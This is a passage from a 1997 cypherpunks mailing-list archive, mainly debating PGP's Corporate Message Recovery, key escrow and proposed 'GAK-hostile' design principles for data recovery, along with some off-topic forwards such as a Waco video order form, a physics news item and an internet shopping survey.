> MLmF9iJOK/j/nK9RIIXfIH0011v52XosFtWBajWvZygmEdEnTG9HhkRc4XFODTiy
> F8hoBlOiwnAOiSNOoCoxeLjhNe4L0TSHhU8G9Je4wlF1Pg==
> =lZxq
> -----END PGP SIGNATURE-----
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 16 Oct 1997 13:35:44 +0800
To: "William H. Geiger III" <eli@gs160.sp.cs.cmu.edu>
Subject: Re: FCPUNX:PGP Key Escrow and Congress
In-Reply-To: <199710151811.LAA23906@toad.com>
Message-ID: <3.0.3.32.19971015195247.006f448c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:27 PM 10/15/1997 -0500, William H. Geiger III wrote:
>>Do the privacy of the nation's data and the security of its
>>information infrastructure deserve the same consideration as the
>>Pentagon's "Confidential" memos?  When you're planning to build in a
>>single point of failure, this is a question you have to ask.
>
>There are those of us who see a single point of failure in such
>infrastructures as a GoodThing(TM).

However, they are incorrect :-)  The primary failure mode is
"someone official decides to rip off somebody's information".
A single point of failure means there's one big temptation target
where every official can rip off everybody's information -
but in this case that failure will not be repaired:
- it won't be reported most of the time, and 
	undetected failures are the worst.
- the cost of redesigning the system will be so large
	that even a glaring massive public failure
	won't lead to shutting it down.
- the least-bad "fix" for the problem will be to add
	official bureaucracy to the process of ripping off info,
	and maybe the individual miscreant will get wrist-slapped harshly.
- the failure will be blamed on the Four Horseman, not the system
- the probable "cure" will be to appoint a Data Privacy Ombudsczar,
	who will have authority to interfere with all sorts of
	private data but won't mess with the big Federal infrastructure.

Multiple small points of failure mean that it's less likely
that the official who wants to rip off information has access
to the set of information he wants to rip off.  You could argue
that there would be more officials with access, but probably not,
since a big pile of information is something that attracts officials
far faster than little boring piles.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Thu, 16 Oct 1997 11:52:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: anti-GAK design principles: worked example #1
In-Reply-To: <v04001b0eb06a3d206797@[205.180.137.244]>
Message-ID: <19971015203509.42369@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Oct 15, 1997 at 11:45:01PM +0100, Adam Back wrote:
> 
> 
> Part of the problem in this debate I think is that I have proposed
> many alternate designs, with varying degrees of GAK-hostility.
> 
> Also I have been accused of using "lots of anti GAK rhetoric, but
> giving no proposals" by Kent.

Adam, you've tossed out half-baked ideas buried in several thousand
lines of anti-GAK rant.  None of them were thought through in terms of
infrastructure impact.  The idea of reencrypting the data strikes me
as half-baked, as well -- I sit and wonder about the pass-phrase
handling for the transient encryption keys that are changing on a daily 
or weekly basis -- or is there no pass-phrase -- is the key just 
stored on disk with no protection


> I reject that claim.  (I did use lots
> of rhetoric, but this was to try to impress upon those arguing for CMR
> of it's dangers.  They do not seem to acknowledge them.)

The evidence seems to suggest that the PGP folks agonized pretty 
heavily over their design.  A stupid attack such as yours is far more 
likely to cement resistance than it is likely to win cooperation.

> I'll try in
> this post to steer clear of anti-GAK rhetoric.  We'll instead take it
> as a given that pgp5.5 and pgp5.0 are GAK compliant because of CMR and
> that this is a bad thing.

Trying real hard...

> Will is correct on one point: at the begining I had not properly
> thought one aspect through:

I suspect there are several other flaws you are now quite aware 
of...too bad, I hoped you had something.

[...]

> Design 1.
> 
> Instructions:
> 
> - scrap the CMR key extension
> 
> - store a copy of the private half of the users PGP encryption key
>   encrypted to the company data recovery key on the users disk.

I work for a large organization, I have a unix workstation, an
xterminal booting off a departmental server, and a Mac in my office. 
As is typical in large organizations, a system admin team takes care
of all routine administration of my systems.  They all have root, of
course, and routinely do system upgrades and software installs on my
Mac.

Your solution doesn't seem to fit this environment very well...
[...]

> Recovery method:
> 
> Custodian of recovery key inserts recovery floppy disk in machine,
> decrypts copy of users private key, hands control back to user to
> choose new passphrase.

Must be a very special boot floppy, of course, otherwise I just 
subvert the floppy driver, feign forgetting my passphrase, and 
collect the corporate crown jewels.  Or I hack into somebody else's 
system and corrupt their key...

[...]
> 
> - what is stopping you implementing this

It's completely unrealistic.

> - are there any plug ins which can't cope with this
> - are there user requirements which it can't meet
> - is there some fundamental flaw you think I have missed
> - can you see ways that this could be perverted to implement GAK
>   (yes I can too, btw, but...)
> - are those ways logisitically harder for GAKkers to acheive than for CMR
> 
> Please be specific, no general waffle about understanding the
> complexities of balancing user ergonomics, user requirements etc.

Unfortunately, for real products you do have to consider these 
factors. 

[...]
> 
> Adam
> 
> [1]
> ==============================8<==============================
> GAK-hostile design principles
> 
> If we take the design goal of designing systems including
> confidentiality which are not GAK compliant, we can most succinctly
> state this design goal as the task of ensuring that:
> 
> - at no point will any data transferred over communications links be
>   accessible to anyone other than the sender and recipient without
>   also obtaining data on the recipient and/or senders disks

This is great. 


> We can then derive the design principles required to meet the design
> goal of a non-GAK compliant system with confidentiality services down
> to ensuring that:
> 
> principle 1:
>    no keys used to secure communications in any part of the system are
>    a-priori escrowed with third parties
> 
> principle 2:
>    second crypto recipients on encrypted communications are not
>    used to allow access to third parties who are not messaging
>    recipients manually selected by the sender
> 
> principle 3:
>    communications should be encrypted to the minimum number of
>    recipients (typically one), and those keys should have as short a
>    life time as is practically possible

Key lifetime is a major issue.  Keys are either protected by 
pass-phrase, or vulnerable.  Think about how you are going to 
generate new keys every day, or every week...

Think about off-line composition of email -- I have a laptop, download
my mail from the pop server, compose email.  Now I can't store my
friends public keys on my disk, because they expire every day.  So I
have to go to the public keyserver for every correspondent's public
key -- if the keyserver is unaccessible I'm out of luck.  This
radically changes the expected semantics of email. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Thu, 16 Oct 1997 10:04:59 +0800
To: jim.burnes@ssds.com (Jim Burnes)
Subject: Re: Rules of Engagement on Video
In-Reply-To: <Pine.LNX.3.95.971015175351.565B-100000@is-chief>
Message-ID: <199710160142.BAA22468@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



If you want to buy one (I do not as I do not have a VCR), ask
ddeming@ou.edu, he wanted to find 9 people to purchase the tapes at a
quantity discount.

igor

Jim Burnes wrote:
> 
> 
> 
> I know this isn't directly cypher related, but oh well.
> 
> An award winning film, "Waco: the rules of engagement" is now
> available on video.  Previously running at Art Houses and Film
> Festivals it was produced by a few revolutionary media people.
> Somehow it occurred to them that all the right-wingers had beaten
> them to the punch making civil rights abuses known to the public.
> Can't have any of that now, can we?  Why should *they* have all the
> fun?
> 
> Anyway its been lauded as a very well balanced work.  Not like those
> other people -- talking about evil, new world order conspiracies. ;-)
> 
> Probably most noteworthy is the included FLIR FBI footage (Forward Looking
> InfraRed) which, under expert scrutiny, appears to show LEFs raining
> automatic fire down on citizen units trying to escape the final
> conflagration.  Here expert scrutiny is defined as the head of research
> for the army night vision development group.
> 
> Its definitely the cure for those times when GAK starts looking like
> reasonable, sensible and prudent alternative. 
> 
> I have absolutely no involvement or monetary connection to these
> people.  I just wish they would have put it on video first.
> 
> 
> "Is your religion BATF approved?"
> 
> ---------- Forwarded message ----------
> Date: Wed, 15 Oct 1997 12:34:04 -0700 (PDT)
> From: SomFord Entertainment <somford@worldnet.att.net>
> To: somford@worldnet.att.net
> Subject: "Waco: The Rules of Engagement" Video Order Form
> 
> Thanks for your interest in obtaining the video of  "Waco: The Rules of
> Engagement".
> We are pleased to announce that it is finally available!  Please check the
> website
> periodically for ongoing reviews, press, announcements and updates to the
> order form.
> 
> http://www.waco93.com/
> 
> "Waco: The Rules of Engagement"  Video Order Form
> 
> Print, Complete, And Mail This Form With Check Or Money Order To:
> SomFord Entertainment, 8778 Sunset Bl., Los Angeles, CA 90069
> 
> Questions: 310-289-3900
> 
>      1. E-Mail Address:...............................................
> 
>      2. First Name:...................................................
> 
>      3. Last Name:....................................................
> 
>      4. Street Address:...............................................
> 
>      5. Apt. No., Other Info:.........................................
> 
>      6. City:.........................................................
> 
>      7. State/Province:...............................................
> 
>      8. Country:......................................................
> 
>      9. Postal Code:..................................................
> 
>      10. Phone:.......................................................
> 
>      11. "Waco: The Rules of Engagement" Video.........Quantity:......
> 
>            $25.00 for 1 tape.
>            $22.50 each for 5 tapes.
>            $20.00 each for 10 tapes.
> 
>            Bookstores and Catalogues, Call for Bulk Order Info.
>            All Prices Include Domestic Shipping and Handling.
>            CA Residents Please Add 8.25% Sales Tax.
> 
>      12. Total:.......................................................
> 
>      Make Check or Money Order Payable to: SomFord Entertainment.
> 
>      Comments Or Special Delivery Instructions:.......................
> 
> 
> 
> 
> 
>      Please allow three weeks for delivery. Thank you for your order
> 
> 
> 
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Thu, 16 Oct 1997 12:51:13 +0800
To: cypherpunks@toad.com
Subject: Where are another cypherpunk
Message-ID: <19971016041823.3461.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Where are another cypherpunk mailinglist ?




______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 16 Oct 1997 07:10:29 +0800
To: nobody@REPLAY.COM
Subject: Re: Equal rights for receivers
In-Reply-To: <199710150815.KAA25357@basement.replay.com>
Message-ID: <199710152047.VAA00959@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




> Remind me again:
> 
> Why was it OK when the SENDER could choose to encrypt to an additional
> key, but it's a threat to the free world if the RECEIVER is allowed to
> request the same thing?

It's a threat to the free world if the RECEIVER is allowed to request
the same thing when PGP Inc also goes ahead and implements an enforcer
to bounce mail failing to meet this `request'.  This is not a
`request', this is an `insistance'.  This is a ready to roll system
which could be used as-is to implement GAK.

It is also potentially dangerous even without the SMTP policy enforcer
because if this functionality (CMR public key extension) is part of
the OpenPGP standard, then conformant OpenPGP implementations are pre
GAK enabled -- when GAK comes in, they know how to send to CMR keys,
and the enforcement can be added later.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 16 Oct 1997 13:21:23 +0800
To: "Nobuki Nakatuji" <cypherpunks@toad.com
Subject: Re: Where are another cypherpunk
In-Reply-To: <19971016041823.3461.qmail@hotmail.com>
Message-ID: <v03102801b06b51df9594@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:18 PM -0700 10/15/97, Nobuki Nakatuji wrote:
>Where are another cypherpunk mailinglist ?
>

Am another cypherpunks mailinglist at cyperpunk@dev.null.

You go there, chop chop.

You not talk about Misty here anymore, OK? We am tired hering about Misty
and your fees.

--Tim-san





The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 16 Oct 1997 11:06:55 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: update.341 (fwd) [edited]
Message-ID: <199710160311.WAA08752@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From physnews@aip.org Wed Oct 15 14:00:06 1997
> Date: Wed, 15 Oct 97 10:28:48 EDT
> From: physnews@aip.org (AIP listserver)
> Message-Id: <9710151428.AA08697@aip.org>
> To: physnews-mailing@aip.org
> Subject: update.341
> 
> PHYSICS NEWS UPDATE                         
> The American Institute of Physics Bulletin of Physics News
> Number 341  October 15, 1997  by Phillip F. Schewe and Ben
> Stein
> 
> THE 1997 NOBEL PRIZE FOR PHYSICS has been won by

[text deleted]

> THE FIRST SOLID MATERIAL THAT CAN REVERSIBLY
> SWITCH BETWEEN METAL AND INSULATOR at room
> temperature and pressure, and without changing its chemical
> makeup, has been created by researchers at UCLA (James Heath,
> heath@chem.ucla.edu).  The researchers prepare a Langmuir film,
> an ultrathin layer of material on a water surface. The film consists
> of a 2-D hexagonal pattern of silver nanocrystals (only nm size)
> with each nanocrystal's surface capped by compressible organic
> molecules.  Applying pressure to the film can decrease the distance
> between adjacent nanocrystals from 12 to 5 angstroms.  When
> compressed, the film becomes shiny and its optical properties match
> those of a thin metal film.  Prior to compression, the film has the
> optical properties of an insulator: in this state, the
> nanocrystalsbehave as semi-isolated particles and they do not share
> electrons.  As the separation between nanocrystals decreases, the
> researchers observe a transition from "classical coupling" (adjacent
> nanocrystals induce the movement of charge in each other and
> thereby transfer energy) to "quantum coupling" (nanocrystals begin
> to share electrons simultaneously and electrons delocalize, or cease
> to occupy a specific position in the material). (C. P. Collier et al,
> Science, 26 September 1997)
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Thu, 16 Oct 1997 13:52:00 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FCPUNX:PGP Key Escrow and Congress
In-Reply-To: <199710151811.LAA23906@toad.com>
Message-ID: <19971015224407.08785@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Oct 15, 1997 at 07:52:47PM -0700, Bill Stewart wrote:
> At 01:27 PM 10/15/1997 -0500, William H. Geiger III wrote:
> >>Do the privacy of the nation's data and the security of its
> >>information infrastructure deserve the same consideration as the
> >>Pentagon's "Confidential" memos?  When you're planning to build in a
> >>single point of failure, this is a question you have to ask.
> >
> >There are those of us who see a single point of failure in such
> >infrastructures as a GoodThing(TM).
> 
> However, they are incorrect :-)  The primary failure mode is
> "someone official decides to rip off somebody's information".
[...]

> Multiple small points of failure mean that it's less likely
> that the official who wants to rip off information has access
> to the set of information he wants to rip off.  You could argue
> that there would be more officials with access, but probably not,
> since a big pile of information is something that attracts officials
> far faster than little boring piles.

I don't suppose you are arguing that having multiple small points of 
failure makes GAK acceptable...

The 'single point of failure' mode is such obviously bad design that
NSA will never go for it -- they aren't dumb.  Consider that if you
have a single master key for all escrowed things (for example): that
single master key will have to be used for *every* wiretap, every FOI
act action, etc.  It will be in constant daily use by many people, 
and keeping it secure will be, practically speaking, impossible.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 16 Oct 1997 11:46:17 +0800
To: cypherpunks@ssz.com
Subject: pna.show_story?p_art_id=409724&p_section_name=Sci-Tech
Message-ID: <199710160356.WAA08989@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN Custom News logo
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   [INLINE] October 16, 1997 3:29 am GMT
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   The story below was selected from CNN Custom News - a new personalized
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   FREE. If you're already a user, please login. Custom News 
   
        NEW SURVEY SHOWS BIG RISE IN INTERNET USE, BUT NOT FOR SHOPPING
                                       
   LA Times
   14-OCT-97
   Consumers Don't Trust Internet Enough To Share Their Credit Card
   Information
   
   ORLANDO, Fla.--(BUSINESS WIRE)--Oct. 14, 1997-- More than one out of
   three Americans have become users of the Internet during the last
   year, primarily for information gathering, but decidedly not for
   shopping, according to a national survey reported today by a leading
   consumer researcher.
   
   "There is clearly something addictive about the availability of
   galaxies of information for the asking," said Britt Beemer, chairman
   of America's Research Group, the firm that conducted the research
   project, in his keynote address before the 21st Century Commerce &
   CALS Expo USA at the Orange County Convention Center.
   
   "However, it's a very different story for shopping," he adds, "where
   very few people (2.8 percent ) feel comfortable in using the Internet
   to make a purchase in cyberspace."
   
   Beemer, who pioneered the influence of fear of crime on shopping with
   his annual survey on the subject, says he is "surprised more people
   weren't actively patronizing the Internet to eliminate worry about
   their personal safety, particularly for shopping at night."
   
   When asked about the degree of trust they had for shopping at a store
   in the mall compared with a purchase via the Internet, respondents
   opting for the store (72.1 percent) outnumber Internet shoppers (6.7
   percent) by more than ten to one, the survey indicated.
   
   According to Beemer: "Most people (77.9 percent) are reluctant for
   security reasons to give their personal credit card data via the
   Internet to a virtual salesperson, but many others (26.9 percent)
   don't want to buy something they can't see and touch; 14.9 percent say
   they always buy in stores; 11.6 percent report they like to pay cash;
   and 11.1 percent simply enjoy shopping too much to let their computer
   have all the fun."
   
   The few products that do sell at all via the Internet include computer
   software, books, apparel, and home furnishings, but the percentages of
   people actually buying are nominal, Beemer says.
   
   Consumer use of the Internet to get information in influencing various
   purchasing decisions does appear to be increasing, with many people
   (45.9 percent) reporting they sought information prior to shopping,
   and 9.6 percent indicating they were searching for both information
   and advertising.
   
   Those who use the Internet say the reason they do so is to acquire
   information (68.4 percent); to chat with and meet people (7.1
   percent); and to keep track of their finances (6.1 percent).
   
   When it comes to information gathering, 41.0 percent are seeking the
   news of the day; 23.7 percent are getting data on companies; 12.8
   percent are looking for help in school work; 6.4 percent are checking
   out stock and bond prices related to their financial status; and 5.8
   percent are surfing for travel information, the study points out.
   
   "There is some hope down the road that people's fears and concern
   about using the Internet for various personal business purposes will
   ease," says Beemer.
   
   "When asked whether they would expect to make financial transactions
   in the future, nearly six out of ten said `no,' but nearly 10 percent
   (9.4 percent) answered in the affirmative," he reports.
   
   The survey was conducted during the last week of September, 1997 of a
   national sample of 1000 respondents. Of this number, 41.7 percent had
   no access to a computer either at home or at work; 24.6 percent both
   at home and at work; 17.7 percent at home; and 15.9 percent at work,
   only. The study has a margin of error of +/- 4.3 percent.
   
   America's Research Group is a leading consumer research firm,
   headquartered in Charleston, S.C. Its staff has interviewed three
   million Americans over the past dozen years, giving ARG the largest
   database of retail trends in America. Britt Beemer is the author of
   PREDATORY MARKETING, published early this year by William Morrow.
   
   
   
   
   
   Search the net: InfoSeek ___________________ ____ [Help]
   [INLINE] Ad Space 
   
   Top 
   
   Copyright &copy; 1997 Cable News Network, Inc. A Time Warner Company
   ALL RIGHTS RESERVED.
   Terms under which this information is provided to you. [INLINE]
   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Thu, 16 Oct 1997 11:33:12 +0800
To: latourem@MAGELLAN.UMontreal.CA>
Subject: Liberal lawyer joke  from Cdn-Firearms Digest V2 #34
In-Reply-To: <199710151438.IAA08437@broadway.sfn.saskatoon.sk.ca>
Message-ID: <199710160324.XAA26598@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 15 Oct 97 at 8:38, Cdn-Firearms Digest wrote:

> FOCUS:  A Liberal lawyer sitting in Parliament thinks that a new law will
> fix anything.  What is the difference between a Liberal lawyer sitting in
> Parliament and a sturgeon?  One is a scum-sucking bottom feeder, and the
> other is a fish.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 16 Oct 1997 07:04:34 +0800
To: tcmay@got.net
Subject: what can we do about PGP sell out and CMR?
In-Reply-To: <v03102801b06ac04e5a12@[207.167.93.63]>
Message-ID: <199710152229.XAA01119@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




The 3 main GAK-hostile design principles are also independently good
security principles in protecting communications traffic.  There are
ways to acheive data recovery functionality without CMR.  I think I
have demonstrated amply what these methods are, and have given a
design methodology for designing such systems.  PGPers are just not
interested to hear.

>From Bill Stewart's report, given the apparent amount of effort PGP
have put into their CMR based enforcement policy functionality, I
predict they won't remove CMR whatever we, or Schneier, or anyone else
says or proves about more secure less GAK-friendly ways of
implementing corporate data recovery.  I also suspect they won't
listen to Tim's earlier argument that they do nothing about recovery
of messages rather than implement GAK.

This quote should give us clue as to why they will continue with CMR: 

	"we're a real company with accountants"

So they are not willing to follow through the anti-GAK design process
where this could hinder bottom lines.

Similar arguments would presumably present them with "no choice" but
to fulfill the order for 100,000 GAK compliant units from the
government terrorizing the freedom fighters PRZ likes to tell us
about who are already using PGP GAK compliant software: pgp5.0.

Tim May <tcmay@got.net> writes:
> let me throw out some examples where CMR introduces flaws into a
> security system.
> 
> [snip]

I think Tim's points are very valid.  CMR functionality if put into
the OpenPGP standard _will_ be used by PGP competitors to implement
message screening and snooping by company security guards etc.  It
will I am almost positive in due course be used to field such software
in countries with poor civil rights records.

Maybe PGP is not fielding systems they are "advising" their clients to
use for GAK, or for message screening, but this is what is going to
happen.  Their good advice isn't as much comfort as an OpenPGP
standard which is as hostile to this practice as possible, and a pgp
data recovery implementation which is also hostile to this.

PGP do not want to hear this.  It will cost development time.

The many people who have expressed to me off list that PGP has sold
out, are I think correct.

> Which means we're back to square one. So why does PGP, Inc. bother?
> 
> And why should OpenPGP squander efforts worrying about this?

I think that except for carefully worded statements by PGP Inc
employees all those who have spoken on the topic in the OpenPGP forum
have agreed.  The CMR field should not go in OpenPGP.  This means that
the PGP SMTP policy enforcer will not meet the OpenPGP standard: it
will bounce mail from compliant implementations which ignore the CMR
field.

I think this means that the person who suggested this:

	OpenPGP is unlikely to continue to be supported by PGP Inc

to me in email made a good prediction.


What can we do about this situation?  Well we could build systems
which hack around the CMR system.  Easy enough: just put dud
"recovery" info inside.  We still have deployment problems.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 16 Oct 1997 07:11:27 +0800
To: wprice@pgp.com
Subject: anti-GAK design principles: worked example #1
In-Reply-To: <v04001b0eb06a3d206797@[205.180.137.244]>
Message-ID: <199710152245.XAA01135@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain





Part of the problem in this debate I think is that I have proposed
many alternate designs, with varying degrees of GAK-hostility.

Also I have been accused of using "lots of anti GAK rhetoric, but
giving no proposals" by Kent.  I reject that claim.  (I did use lots
of rhetoric, but this was to try to impress upon those arguing for CMR
of it's dangers.  They do not seem to acknowledge them.) I'll try in
this post to steer clear of anti-GAK rhetoric.  We'll instead take it
as a given that pgp5.5 and pgp5.0 are GAK compliant because of CMR and
that this is a bad thing.

Will is correct on one point: at the begining I had not properly
thought one aspect through: my earlier decrypt & re-encrypt construct
violates anti-GAK design principle 2; namely it is guilty of the same
violation as CMR, it has an effective second crypto recipient outside
of the senders control. I agree with Will Price's comments on the GAK
pervertability tendencies of this construct.  I spotted the error of
my ways since clarifying my thoughts on the subject by constructing
the more formalised anti-GAK design principles.  Readers will see my
codification of my recognition of the dangers of the re-encrypting
construct in corollary 1 of the anti-GAK design principles (copy of
principles below [1]).  The fact that I posted this corollary in
updated copies of the design principles prior to Will's post should
show that this claim is sincere and not an attempt at side stepping
Will's observation: he is correct, I agree.

The rest of Will's post seems to miss the point, so it seems to me
that the best way to transfer understanding of how to use the anti-GAK
design principles to design less GAK friendly systems is to present a
worked example.

This first simple CDR replacement for PGP's CMR method also attempts
to keep changes necessary to implementations and packet formats to a
minimum.  Please understand also that it violates one of the major
design principles in order to acheive this simplicity and so that
objections that it is not that much more valuable than CMR will be
countered by showing you how to achieve an even more GAK-hostile
design by removing the violation of design principle 3, albeit with
more coding effort and design modifications on PGP's part.  Never the
less it is already much harder to pervert for GAK than CMR.

Design 1.

Instructions:

- scrap the CMR key extension

- store a copy of the private half of the users PGP encryption key
  encrypted to the company data recovery key on the users disk.

- (optional) design the software to make it hard to copy the data
  recovery packet from the disk, hide the data, bury it in keyrings,
  stego encode it, whatever, use your imagination.  This is to attempt
  to restrict the third parties ability to by pass the principle of
  non communication of recovery information


Recovery method:

Custodian of recovery key inserts recovery floppy disk in machine,
decrypts copy of users private key, hands control back to user to
choose new passphrase.


Possible objections:

objection #1. what if disk burns?
counter #1:   backup your disk

objection #2: users don't back up disks
counter #2:   that is a good way to loose data :-) if they don't have
              the data the key protecting the data won't help them

GAK-hostility rating:

Harder to pervert for GAK than pgp5.5 / pgp5.0 CMR design.


I'd be interested to see Will, or Hal, or other PGPer's criticisms of this
simple modification, perhaps criticisms could most constructively answer:

- what is stopping you implementing this
- are there any plug ins which can't cope with this
- are there user requirements which it can't meet
- is there some fundamental flaw you think I have missed
- can you see ways that this could be perverted to implement GAK
  (yes I can too, btw, but...)
- are those ways logisitically harder for GAKkers to acheive than for CMR

Please be specific, no general waffle about understanding the
complexities of balancing user ergonomics, user requirements etc.
That is a no-brainer, you need to do this analysis, the cost function
for evaluating such design issus is now expressed explicitly in design
principle 4 rather than being assumed.  List problems and explain the
significance of the all important deployability criteria.

Cryptographic protocol designs are very flexible; most design goals can
be met, or worked around I claim within the positive GAK-hostility
side of the cryptographic protocol and product design solution space.

Lastly, I would encourage readers to be critical of the GAK-hostile design
principles themselves:

- can you see any aspects which inaccurately reflect trade-offs
- can you see methods to bypass inadvertently or deliberately the design 
  that might require another corollary to correct.

In anticipation of constructive criticism,

Adam

[1]
==============================8<==============================
GAK-hostile design principles

If we take the design goal of designing systems including
confidentiality which are not GAK compliant, we can most succinctly
state this design goal as the task of ensuring that:

- at no point will any data transferred over communications links be
  accessible to anyone other than the sender and recipient with out
  also obtaining data on the recipient and/or senders disks


We can then derive the design principles required to meet the design
goal of a non-GAK compliant system with confidentiality services down
to ensuring that:

principle 1:
   no keys used to secure communications in any part of the system are
   a-priori escrowed with third parties

principle 2:
   second crypto recipients on encrypted communications are not
   used to allow access to third parties who are not messaging
   recipients manually selected by the sender

principle 3:
   communications should be encrypted to the minimum number of
   recipients (typically one), and those keys should have as short a
   life time as is practically possible

principle 4:
   deployment wins.  violating any of principles 1 to 3 whilst
   still retaining some GAK-hostility can be justified where
   deployment is thereby increased to the extent that the violations
   increase the degree of GAK hostility in the target jurisdictions
   overall

Corrollary 1: Included in design principle 2) is the principle of not
re-transmitting keys or data after decryption over communication
channels, re-encrypted to third parties -- that is just structuring --
and violates design principle 2.

Corrollary 2: where communications are transmitted which violate
principles 1, 2 or 3 it is in general more GAK hostile to enforce as
far as possible that the recovery or escrow information remains in as
close proximity to the data as possible.

Corrollary 3: where communications are transmitted which violate
principles 1, 2 or 3 it is in general more GAK hostile to make these
communications as difficult to automate as possible.  For example no
scripting support is given to enforce that GUI user interaction is
required, and/or that the process is made artificially time consuming,
and/or that the communication must not use electronic communication
channels

==============================8<==============================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Thu, 16 Oct 1997 06:12:36 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199710152145.XAA20388@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> This also applies to CMR as well. Whatever the perceived business reasons
> for CMR, the fact is that it introduces additional failure points. No
> longer will Alice and Bob be secure that at least there are no "other
> readers" in the channel between them (what they do with the plaintext after
> decryption is of course solvable by no technology).

I thought that was the whole point of the PGP design.  It makes the
presence of third parties clear and visible to all participants.  This
seems to be the fundamental principle.  PGP is designed to allow Alice
and Bob to be informed if third party access is built in.  Key escrow
and re-encryption are inherently less visible forms of message access.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 16 Oct 1997 07:06:04 +0800
To: nobody@REPLAY.COM
Subject: Re: Equal rights for receivers
In-Reply-To: <199710150815.KAA25357@basement.replay.com>
Message-ID: <199710152254.XAA01167@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> Remind me again:
> 
> Why was it OK when the SENDER could choose to encrypt to an additional
> key, but it's a threat to the free world if the RECEIVER is allowed to
> request the same thing?

It's a threat to the free world if the RECEIVER is allowed to request
the same thing when PGP Inc also goes ahead and implements an enforcer
to bounce mail failing to meet this `request'.  This is not a
`request', this is an `insistance'.  This is a ready to roll system
which could be used as-is to implement GAK.

It is also potentially dangerous even without the SMTP policy enforcer
because if this functionality (CMR public key extension) is part of
the OpenPGP standard, then conformant OpenPGP implementations are pre
GAK enabled -- when GAK comes in, they know how to send to CMR keys,
and the enforcement can be added later.


Notice also that using comparisons with pgp2.x multiple recipient
functionality to deflect criticism is a complete red herring: pgp2.x
multiple recipients do not request copies mail to keys to be sent to
other keys.

All crypto recipients correspond 1-1 to message recipients, and in
most cases there is only one message recipient (and therefore only 1
crypto recipient).  This is better security, and it can't be used for
GAK anywhere near as easily as CMR.

And yes turning encrypt-to-self on violates 1-1 correspondence with
